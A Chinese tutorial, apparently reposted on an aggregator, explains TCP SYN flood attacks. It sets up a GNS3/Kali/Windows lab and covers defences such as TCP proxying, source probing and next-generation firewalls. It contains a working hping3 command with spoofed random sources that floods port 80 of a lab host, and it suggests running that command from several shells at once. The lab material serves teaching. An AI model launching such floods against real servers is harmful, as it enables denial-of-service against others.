网络协议与攻击模拟_06攻击模拟SYN Flood

2024-01-24 04:36

本文主要是介绍网络协议与攻击模拟_06攻击模拟SYN Flood,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、SYN Flood原理

在TCP三次握手过程中,

  • 客户端发送一个SYN包给服务器
  • 服务端接收到SYN包后,会回复SYN+ACK包给客户端,然后等待客户端回复ACK包。
  • 但此时客户端并不会回复ACK包,所以服务端就只能一直等待直到超时。服务端超时后会重发SYN+ACK包给客户端,默认会重试5次,而且每次等待的时间都会增加。

服务器收到客户端发来的SYN会建立一个半连接状态的Socket,当客户端在一定时间内持续不断的发大量的SYN包但不回复ACK包,就会耗尽服务端的资源,这就是SYN Flood攻击。

二、模拟SYN Flood攻击

1、实验环境

kali、Windows10、GNS3

2、网络拓扑

3、实验配置

  • GNS3路由器
R1#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)#int f0/0
R1(config-if)#ip add 192.168.10.254 255.255.255.0
R1(config-if)#no shut
R1(config-if)#exit
R1(config)#int f1/0
R1(config-if)#ip add 192.168.100.254 255.255.255.0
R1(config-if)#no shut
R1(config-if)#
  • kali虚拟机配置网卡eth0
#打开interfaces文件并添加eth0网卡                                                                            
┌──(root㉿kali)-[/home/kali]
└─# vim /etc/network/interfaces                                                                                                                                                       

  •  启用网卡并查看IP配置是否成功
┌──(root㉿kali)-[/home/kali]
└─# ifdown eth0
ifdown: interface eth0 not configured┌──(root㉿kali)-[/home/kali]
└─# ifup eth0#ifconfig查看上述更改是否生效                                                                            
┌──(root㉿kali)-[/home/kali]
└─# ifconfig 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500inet 192.168.10.1  netmask 255.255.255.0  broadcast 192.168.10.255inet6 fe80::20c:29ff:fee2:4449  prefixlen 64  scopeid 0x20<link>ether 00:0c:29:e2:44:49  txqueuelen 1000  (Ethernet)RX packets 552  bytes 47915 (46.7 KiB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 51  bytes 7410 (7.2 KiB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536inet 127.0.0.1  netmask 255.0.0.0inet6 ::1  prefixlen 128  scopeid 0x10<host>loop  txqueuelen 1000  (Local Loopback)RX packets 18558  bytes 1513808 (1.4 MiB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 18558  bytes 1513808 (1.4 MiB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0#ping测试看网关是否可达                                                                            
┌──(root㉿kali)-[/home/kali]
└─# ping 192.168.10.254         
PING 192.168.10.254 (192.168.10.254) 56(84) bytes of data.
64 bytes from 192.168.10.254: icmp_seq=1 ttl=255 time=44.6 ms
64 bytes from 192.168.10.254: icmp_seq=2 ttl=255 time=25.1 ms
^C
--- 192.168.10.254 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 25.077/34.838/44.599/9.761 ms
  • 查看kali路由: 
└─# route -n           
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.10.254  0.0.0.0         UG    0      0        0 eth0
192.168.10.0    0.0.0.0         255.255.255.0   U     0      0        0 eth0
  • Windows使用命令配静态IP
C:\Windows\system32>netsh interface ip set address "Ethernet0" static 192.168.100.1 255.255.255.0 192.168.100.254  
#查看IP是否设置成功                                                                                                                                                                                                                                                                                                                                 C:\Windows\system32>ipconfig  
#ping测试看网关是否可达                                                                                                                                                                                                                                                                                                                                                                                                                         C:\Windows\system32>ping 192.168.100.254                                                                                                                                                                                                         

ping测试 :kali 虚拟机pingWindows server 2016虚拟机

4、搭建IIS服务

  • Windows server 2016上面搭建IIS服务并在本地进行访问

  • kali火狐浏览器访问

肉鸡:几十万台同时在发几十万个包

DDOS计算的是同时的流量

5、实施SYN Flood攻击

  • 工具:kali (hping3 )
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.100.1
#-c 发送 包的数量
#-d 发送包的大小
#-S 只发送SYN的报文
-w 指定Windows窗口大小
#-p 指定目标端口80
#--flood 
#--rand-source发请求的时候指定随机的IP
#服务器的IP

  • 多开几个shell进行 SYN Flood攻击:

  •  抓到的ICMP数据包

三、如何防御SYN Flood

1、使用TCP代理的方式

客户机先和代理服务器建立TCP连接,代理服务器收到TCP的ACK后,再将数据转发给服务器

如果用DDOS服务器将代理服务器打掉了,服务器也不能正常提供服务了,因为服务器是通过代理来提供服务的。代理:选代理一般使用高性能防火墙。

2、TCP的源探测,探测发送方

client发送syn请求,防火墙伪造SYN+ACk报文,如果客户机是虚假的源就不会响应,如果客户机是真实的源,就会发一个重新建立连接请求的RST报文。防火墙收到RST报文得知客户机是真实的,放通将数据传到服务器。

知识补充:下一代防火墙NGFW

不同信任级别的网络之间的一个线速(wire-speed)实时防护设备,能够对流量执行深度检测,并阻断攻击。

  • 前向兼容传统防火墙的功能,包括包过滤、协议状态过滤、NAT和VPN。
  • 具备应用感知能力,能基于应用实施精细化的安全管控策略和层次化的带宽管理手段。
  • 支持IPS功能,实现IPS(入侵防御系统)与防火墙的深度融合。
    IPS系统是位于防火墙和网络的设备之间的设备,当检测到攻击时,IPS会在这种攻击扩散到网络其他地方前阻止这个恶意通信。
    NGFW可以根据IPS检测的恶意流量自动更新下发安全策略,而不需要管理员介入。
  • 利用防火墙以外的信息,增强管控能力
    如利用ITit系统提供的用户信息、位置信息、漏洞和网络资源信息等,帮助改进和优化安全策略。如:通过集成用户认证系统,实现基于用户的安全策略,以应对移动办公场景下IP地址变化带来的管控难题。

这篇关于网络协议与攻击模拟_06攻击模拟SYN Flood的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/638557

相关文章

【C++】_list常用方法解析及模拟实现

相信自己的力量,只要对自己始终保持信心,尽自己最大努力去完成任何事,就算事情最终结果是失败了,努力了也不留遗憾。💓💓💓 目录   ✨说在前面 🍋知识点一:什么是list? •🌰1.list的定义 •🌰2.list的基本特性 •🌰3.常用接口介绍 🍋知识点二:list常用接口 •🌰1.默认成员函数 🔥构造函数(⭐) 🔥析构函数 •🌰2.list对象

06 C++Lambda表达式

lambda表达式的定义 没有显式模版形参的lambda表达式 [捕获] 前属性 (形参列表) 说明符 异常 后属性 尾随类型 约束 {函数体} 有显式模版形参的lambda表达式 [捕获] <模版形参> 模版约束 前属性 (形参列表) 说明符 异常 后属性 尾随类型 约束 {函数体} 含义 捕获:包含零个或者多个捕获符的逗号分隔列表 模板形参:用于泛型lambda提供个模板形参的名

usaco 1.2 Transformations(模拟)

我的做法就是一个一个情况枚举出来 注意计算公式: ( 变换后的矩阵记为C) 顺时针旋转90°:C[i] [j]=A[n-j-1] [i] (旋转180°和270° 可以多转几个九十度来推) 对称:C[i] [n-j-1]=A[i] [j] 代码有点长 。。。 /*ID: who jayLANG: C++TASK: transform*/#include<

VC网络协议

// PCControlDlg.cpp : 实现文件//#include "stdafx.h"#include "PCControl.h"#include "PCControlDlg.h"#include "afxdialogex.h"#ifdef _DEBUG#define new DEBUG_NEW#endif// 用于应用程序“关于”菜单项的 CAboutDlg 对话框#ifde

hdu4431麻将模拟

给13张牌。问增加哪些牌可以胡牌。 胡牌有以下几种情况: 1、一个对子 + 4组 3个相同的牌或者顺子。 2、7个不同的对子。 3、13幺 贪心的思想: 对于某张牌>=3个,先减去3个相同,再组合顺子。 import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.IOExcepti

【每日一题】LeetCode 2181.合并零之间的节点(链表、模拟)

【每日一题】LeetCode 2181.合并零之间的节点(链表、模拟) 题目描述 给定一个链表,链表中的每个节点代表一个整数。链表中的整数由 0 分隔开,表示不同的区间。链表的开始和结束节点的值都为 0。任务是将每两个相邻的 0 之间的所有节点合并成一个节点,新节点的值为原区间内所有节点值的和。合并后,需要移除所有的 0,并返回修改后的链表头节点。 思路分析 初始化:创建一个虚拟头节点

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

每日一题|牛客竞赛|四舍五入|字符串+贪心+模拟

每日一题|四舍五入 四舍五入 心有猛虎,细嗅蔷薇。你好朋友,这里是锅巴的C\C++学习笔记,常言道,不积跬步无以至千里,希望有朝一日我们积累的滴水可以击穿顽石。 四舍五入 题目: 牛牛发明了一种新的四舍五入应用于整数,对个位四舍五入,规则如下 12345->12350 12399->12400 输入描述: 输入一个整数n(0<=n<=109 ) 输出描述: 输出一个整数

【算法专场】模拟(下)

目录 前言 38. 外观数列 算法分析 算法思路 算法代码 1419. 数青蛙 算法分析 算法思路 算法代码  2671. 频率跟踪器 算法分析 算法思路 算法代码 前言 在前面我们已经讲解了什么是模拟算法,这篇主要是讲解在leetcode上遇到的一些模拟题目~ 38. 外观数列 算法分析 这道题其实就是要将连续且相同的字符替换成字符重复的次数+

模拟实现vector中的常见接口

insert void insert(iterator pos, const T& x){if (_finish == _endofstorage){int n = pos - _start;size_t newcapacity = capacity() == 0 ? 2 : capacity() * 2;reserve(newcapacity);pos = _start + n;//防止迭代